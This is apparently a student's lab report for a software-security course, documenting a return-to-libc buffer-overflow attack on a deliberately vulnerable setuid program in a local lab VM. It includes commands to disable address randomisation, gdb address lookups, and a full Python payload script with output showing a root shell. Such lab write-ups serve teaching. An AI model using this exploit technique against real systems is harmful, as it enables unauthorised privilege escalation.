CCCY 322: Software Security

Return-to-libc Attack

Shahad Alharbi - 2210697

Executable Stack

This command creates an executable named shellcode by compiling the source file shellcode.c using the Compiler (gcc). Because the stack is marked as executable by the -z execstack option, code placed on it will execute. Running shellcode, which is commonly used in exploit scenarios, requires this. The ($) prompt displays the successful compilation and usable executable.

```
seed@ShahadAlharbi:~/.../Lab4$gcc -z execstack shellcode.c -o shellcode
seed@ShahadAlharbi:~/.../Lab4$./shellcode
$ exit
```

Non-Executable Stack

gcc compiles shellcode.c with the -z noexecstack option, making the stack non-executable for security purposes. The program terminates as a result of the operating system preventing execution from non-executable locations, which causes this error.

```
seed@ShahadAlharbi:~/.../Lab4$gcc -z noexecstack shellcode.c -o shellcode
seed@ShahadAlharbi:~/.../Lab4$./shellcode
Segmentation fault
seed@ShahadAlharbi:~/.../Lab4$
```

Compilation

Using the command head -c 10 /dev/urandom > badfile, I created 15 bytes of random data in this terminal session and wrote it to a file called badfile .After that the command uses the (gcc) to compile the source file retlib.c into a 32-bit executable called retlib. While -z noexecstack marks the stack as non-executable, improving security by blocking code execution from the stack, the -m32 option guarantees that the result is a 32-bit binary. The program becomes more vulnerable to attacks when stack protection mechanism are disabled using the -fno-stack-protector. Upon executing the retlib program, the output reveals the memory addresses of various elements.The final message, "Returned Properly," indicates that the program completed its execution without errors

```
seed@ShahadAlharbi:~/.../Lab4$head -c 10 /dev/urandom > badfile
seed@ShahadAlharbi:~/.../Lab4$gcc -m32 -z noexecstack -fno-stack-protector -o re
tlib retlib.c
seed@ShahadAlharbi:~/.../Lab4$retlib
Address of input[] inside main():  0xbf9fd680
Input size: 10
Address of buffer[] inside bof():  0xbf9fd650
Frame Pointer value inside bof():  0xbf9fd668
(^_^)(^_^) Returned Properly (^_^)(^_^)
```

Using the command head -c 15 /dev/urandom > badfile, I created 15 bytes of random data in this terminal session and wrote it to a file called badfile. Then launch the retlib executable. the output reveals the memory addresses of various elements.. However, the program encounters a "Segmentation fault," which usually happens when the program tries to access memory that it is not permitted to access, rather than running correctly. This results in a buffer overflow when the input size exceeds the limit of the allocated buffer.

```
seed@ShahadAlharbi:~/.../Lab4$head -c 15 /dev/urandom > badfile
seed@ShahadAlharbi:~/.../Lab4$retlib
Address of input[] inside main():  0xbff16fc0
Input size: 15
Address of buffer[] inside bof():  0xbff16f90
Frame Pointer value inside bof():  0xbff16fa8
(^_^)(^_^) Returned Properly (^_^)(^_^)
Segmentation fault
seed@ShahadAlharbi:~/.../Lab4$
```

Address Space Randomization

I turned off address space randomization to make exploiting easier. I executed this command to make sure the memory addresses would not change. Because it enables me to directly target particular memory locations, this predictability is essential for developing successful vulnerabilities. I observed that the addresses remained the same throughout executions after turning it off.

```
Segmentation fault
seed@ShahadAlharbi:~/.../Lab4$sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
```

Symbolic Link Creation

The command sudo ln -sf /bin/zsh /bin/sh creates a symbolic link that points /bin/sh to /bin/zsh, then the retlib executable's ownership is initially changed to the root user with the commands sudo chown root retlib CC sudo chmod 4755 retlib. The permissions are set via chmod 4755 so that the file can be run with the root file owner's privileges.

```
seed@ShahadAlharbi:~/.../Lab4$sudo ln -sf /bin/zsh /bin/sh
seed@ShahadAlharbi:~/.../Lab4$sudo chown root retlib && sudo chmod 4755 retlib
seed@ShahadAlharbi:~/.../Lab4$ls
badfile    exploit.py  retlib    shellcode
exploit.c  prtenv.c    retlib.c  shellcode.c
```

Debugging with GDB

Next, we can run gdb compiler on retlib using command gdb -q retlib Now that we are inside gdb, we need to run the program using command run Now we can get the address of system() and exit() using command p system and p exit respectively.

```
seed@ShahadAlharbi:~/.../Lab4$gdb -q retlib
Reading symbols from retlib...(no debugging symbols found)...done.
gdb-peda$ b main
Breakpoint 1 at 0x804856d
gdb-peda$ run
Starting program: /home/seed/Downloads/Lab4/retlib

[----------------------------------registers-----------------------------------]
EAX: 0xb7fbbdbc --> 0xbfffed1c --> 0xbfffef31 ("XDG_VTNR=7")
EBX: 0x0
ECX: 0xbfffec80 --> 0x1
EDX: 0xbfffeca4 --> 0x0
ESI: 0xb7fba000 --> 0x1b1db0
```

```
Breakpoint 1, 0x0804856d in main ()
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xb7e42da0 <__libc_system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xb7e369d0 <__GI_exit>
gdb-peda$ quit
```

Putting the shell string in memory

We want the system() function to run the "/bin/sh" program because we want the shell prompt. In order to provide it to the system() method, we need to first place /bin/sh into memory and determine its address. By executing the command export MYSHELL=/bin/sh, we can create a new variable called MYSHELL and allow it to hold the string /bin/sh.

```
seed@ShahadAlharbi:~/.../Lab4$export MYSHELL="/bin/sh"
seed@ShahadAlharbi:~/.../Lab4$gcc prtenv.c -o prtenv
prtenv.c: In function 'main':
prtenv.c:9:23: warning: implicit declaration of function 'getenv' [-Wimplicit-fu
nction-declaration]
        char * shell = getenv("MYSHELL");
                       ^
prtenv.c:9:23: warning: initialization makes pointer from integer without a cast
 [-Wint-conversion]
prtenv.c:12:12: warning: 'return' with a value, in function returning void
     return 0;
            ^
seed@ShahadAlharbi:~/.../Lab4$prtenv
bffffdd6
seed@ShahadAlharbi:~/.../Lab4$
```

Launching the Attack

We now have the system(), exit(), and /bin/sh addresses. These addresses can be added to the exploit.c file.

```
File Edit View Search Tools Documents Help
Open  Save
exploit.c  exploit.py

#!/usr/bin/python3
import sys

# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))

X = 36
sh_addr = 0xbffffdd6        # The address of "/bin/sh"
content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')

Y = 28
system_addr = 0xb7e42da0    # The address of system()
content[Y:Y+4] = (system_addr).to_bytes(4,byteorder='little')

Z = 32
exit_addr = 0xb7e369d0      # The address of exit()
content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')

# Save content to a file
with open("badfile", "wb") as f:
  f.write(content)

Python  Tab Width: 8  Ln 21, Col 19  INS
```

preparing the exploit with python3 exploit.py and making the script executable using chmod +x exploit.py. On running ./exploit, we get the badfile that would make the attack successful. Now we can run ./retlib and this gives us roots's shell.

```
seed@ShahadAlharbi:~/.../Lab4$python3 exploit.py
seed@ShahadAlharbi:~/.../Lab4$chmod +x exploit.py
seed@ShahadAlharbi:~/.../Lab4$exploit.py
seed@ShahadAlharbi:~/.../Lab4$retlib
Address of input[] inside main():  0xbfffe880
Input size: 300
Address of buffer[] inside bof():  0xbfffe850
Frame Pointer value inside bof():  0xbfffe868
#
```

Attack variation 1:

Root access was successfully obtained via the exploit (euid=0); however, when the "exit "command was executed, a segmentation fault occurred due to the absence of a controlled exit. The program likely ran unwanted code in the absence of `exit()`, resulting in memory access violations. After obtaining elevated privileges, exit() must be included to provide a clean termination and maintain system stability.

```
File Edit View Search Tools Documents Help
Open                                                Save
#!/usr/bin/python3
import sys

# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))

X = 36
sh_addr = 0xbffffdd6        # The address of "/bin/sh"
content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')

Y = 28
system_addr = 0xb7e42da0    # The address of system()
content[Y:Y+4] = (system_addr).to_bytes(4,byteorder='little')

#Z = 32
#exit_addr = 0xb7e369d0      # The address of exit()
#content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')

# Save content to a file
```

```
[02/08/25]seed@VM:~/.../Lab4$ retlib
Address of input[] inside main():  0xbfffe880
Input size: 300
Address of buffer[] inside bof():  0xbfffe850
Frame Pointer value inside bof():  0xbfffe868
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=1000(seed),4(adm),24(cdrom),27
(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
# exit
Segmentation fault
[02/08/25]seed@VM:~/.../Lab4$
```

Attack variation 2:

The attack is likely to fail if you change the filename of retlib to something else, like newretlib, without modifying the contents of badfile.

```
[02/08/25]seed@VM:~/.../Lab4$ gcc -m32 -z noexecstack -fno-stack-protector -o ne
wretlib retlib.c
[02/08/25]seed@VM:~/.../Lab4$ sudo chown root newretlib && sudo chmod 4755 newre
tlib
[02/08/25]seed@VM:~/.../Lab4$ exploit.py
[02/08/25]seed@VM:~/.../Lab4$ newretlib
Address of input[] inside main():  0xbfffe880
Input size: 300
Address of buffer[] inside bof():  0xbfffe850
Frame Pointer value inside bof():  0xbfffe868
zsh:1: command not found: h
```